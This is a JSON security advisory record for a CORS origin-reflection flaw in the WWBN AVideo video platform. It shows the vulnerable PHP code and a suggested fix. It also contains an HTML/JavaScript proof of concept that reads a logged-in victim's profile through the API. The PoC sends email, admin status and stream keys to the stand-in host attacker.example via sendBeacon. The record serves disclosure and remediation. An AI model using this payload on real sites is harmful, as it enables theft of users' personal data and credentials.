{"id":"CVE-2026-41056","aliases":["CVE-2026-41056","GHSA-ccq9-r5cw-5hwq"],"related":[],"kind":"vulnerability","state":"published","title":"AVideos has CORS Origin Reflection with Credentials on Sensitive API Endpoints that Enables Cross-Origin Account Takeover","summary":"WWBN AVideo is an open source video platform. In versions 29.0 and below, the `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim. Commit caf705f38eae0ccfac4c3af1587781355d24495e contains a fix.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"WWBN AVideo is an open source video platform. In versions 29.0 and below, the `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim. Commit caf705f38eae0ccfac4c3af1587781355d24495e contains a fix.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.\n\n## Details\n\nThe vulnerable code path is in `objects/functions.php` lines 2773-2791:\n\n```php\n// objects/functions.php:2773\nif ($allowAll) {\n    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n    if (!empty($requestOrigin)) {\n        header('Access-Control-Allow-Origin: ' . $requestOrigin);\n        header('Access-Control-Allow-Credentials: true');\n    } else {\n        header('Access-Control-Allow-Origin: *');\n    }\n    // ... allows all methods and headers ...\n    return;\n}\n```\n\nThis is called unconditionally at the top of both API entry points:\n\n```php\n// plugin/API/get.json.php:12\nallowOrigin(true);\n\n// plugin/API/set.json.php:12\nallowOrigin(true);\n```\n\nThe comment above the code claims \"These endpoints return public ad XML and carry no session-sensitive data\" — this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.\n\nThe attack is enabled by the session cookie configuration at `objects/include_config.php:144`:\n\n```php\nini_set('session.cookie_samesite', 'None');\n```\n\nThis ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION['user']['id']` (in `User::getId()`).\n\nWhen a logged-in user's session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user's own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:\n- Email, full name, address, phone, birth date (PII)\n- Admin status and permission flags\n- Livestream server URL with embedded password (API.php:3059)\n- Encrypted stream key (API.php:3063)\n\nThe recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.\n\n## PoC\n\n**Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`):\n\n```html\n<html>\n<body>\n<h1>AVideo CORS PoC</h1>\n<script>\n// Step 1: Steal user profile data (PII, admin status, stream keys)\nfetch('https://TARGET/plugin/API/get.json.php?APIName=user', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(data => {\n  document.getElementById('result').textContent = JSON.stringify(data, null, 2);\n  // Exfiltrate to attacker server\n  navigator.sendBeacon('https://attacker.example/collect',\n    JSON.stringify({\n      email: data.user?.email,\n      name: data.user?.user,\n      isAdmin: data.user?.isAdmin,\n      streamKey: data.livestream?.key,\n      streamServer: data.livestream?.server\n    })\n  );\n});\n</script>\n<pre id=\"result\">Loading...</pre>\n</body>\n</html>\n```\n\n**Step 2:** Victim visits the attacker page while logged into the AVideo instance.\n\n**Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with:\n```\nAccess-Control-Allow-Origin: https://attacker.example\nAccess-Control-Allow-Credentials: true\n```\n\n**Step 4:** The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.\n\n**Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.\n\n## Impact\n\n- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page\n- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking\n- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts\n- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim\n- **Mass exploitation**: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor\n\n## Recommended Fix\n\nReplace the permissive origin reflection in `allowOrigin()` with validation against the site's configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:\n\n```php\n// objects/functions.php:2773 — replace the $allowAll block with:\nif ($allowAll) {\n    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n    if (!empty($requestOrigin)) {\n        // Validate origin against site domain before reflecting\n        $siteOrigin = '';\n        if (!empty($global['webSiteRootURL'])) {\n            $parsed = parse_url($global['webSiteRootURL']);\n            if (!empty($parsed['scheme']) && !empty($parsed['host'])) {\n                $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];\n                if (!empty($parsed['port'])) {\n                    $siteOrigin .= ':' . $parsed['port'];\n                }\n            }\n        }\n        if ($requestOrigin === $siteOrigin) {\n            header('Access-Control-Allow-Origin: ' . $requestOrigin);\n            header('Access-Control-Allow-Credentials: true');\n        } else {\n            // For truly public resources (ad XML), allow without credentials\n            header('Access-Control-Allow-Origin: ' . $requestOrigin);\n            // Do NOT set Allow-Credentials for untrusted origins\n        }\n    } else {\n        header('Access-Control-Allow-Origin: *');\n    }\n    // ... rest of headers ...\n}\n```\n\nAdditionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.","format":"markdown","source":"ghsa"},{"lang":"es","text":"WWBN AVideo es una plataforma de video de código abierto. En las versiones 29.0 e inferiores, la función ’allowOrigin($allowAll=true)’ en ’objects/functions.php’ refleja cualquier encabezado ’Origin’ arbitrario en ’Access-Control-Allow-Origin’ junto con ’Access-Control-Allow-Credentials: true’. Esta función es llamada tanto por ’plugin/API/get.json.php’ como por ’plugin/API/set.json.php’ - los puntos finales de API principales que manejan la recuperación de datos de usuario, la autenticación, las credenciales de transmisión en vivo y las operaciones que cambian el estado. Combinado con la política de cookies de sesión ’SameSite=None’ de la aplicación, cualquier sitio web puede realizar solicitudes de origen cruzado con credenciales y leer respuestas de API autenticadas, lo que permite el robo de PII del usuario, claves de transmisión en vivo y la realización de cambios de estado en nombre de la víctima. El commit caf705f38eae0ccfac4c3af1587781355d24495e contiene una solución.","source":"nvd"}],"published":"2026-04-14T23:18:19.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"}],"cwes":["CWE-942"],"affected":[{"ranges":[{"version":"<= 29.0","status":"affected"}],"vendor":"WWBN","product":"AVideo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"29.0"}],"ecosystem":"Packagist","package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"29.0"}],"vendor":"wwbn","product":"avideo","cpe":"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ccq9-r5cw-5hwq","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/WWBN/AVideo/commit/caf705f38eae0ccfac4c3af1587781355d24495e","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41056","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-22T13:15:03.935Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41056","url":"https://www.cve.org/CVERecord?id=CVE-2026-41056","licence":"CVE Terms of Use","modified":"2026-04-22T13:15:07.044Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ccq9-r5cw-5hwq","url":"https://github.com/advisories/GHSA-ccq9-r5cw-5hwq","licence":"CC-BY-4.0","modified":"2026-05-05T16:11:43.814Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41056","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:19.206Z","epss":{"score":0.00348,"percentile":0.30412,"date":"2026-12-01T12:00:22.000Z"}}